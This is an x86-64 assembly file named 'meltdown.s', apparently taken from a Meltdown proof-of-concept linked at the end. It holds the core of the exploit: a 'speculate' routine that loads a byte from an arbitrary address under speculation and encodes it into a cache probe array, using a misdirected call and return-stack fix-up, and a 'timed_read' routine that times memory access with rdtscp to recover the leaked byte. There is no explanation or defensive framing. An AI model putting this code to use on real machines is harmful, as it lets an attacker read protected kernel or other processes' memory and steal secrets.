meltdown.s

.file "speculate.s"
.intel_syntax noprefix
.text

.globl speculate
.type speculate, @function
speculate:
  mfence
  call herring

  movzx eax, byte ptr [rdi]
  shl eax, 12
  movzx eax, byte ptr [rsi+rax]

herring:
  xorps xmm0, xmm0
  sqrtpd xmm0, xmm0
  sqrtpd xmm0, xmm0
  sqrtpd xmm0, xmm0
  sqrtpd xmm0, xmm0

  movd eax, xmm0
  lea rsp, [rsp+rax+8]
  ret 

.globl timed_read
.type timed_read, @function
timed_read:
  rdtscp
  shl rdx, 32
  or rax, rdx
  mov rsi, rax
  mov al, [rdi]
  rdtscp
  shl rdx, 32
  or rax, rdx
  sub rax, rsi
  ret

.section .note.GNU-stack, "", @progbits

ref : https://github.com/corsix/meltdown-poc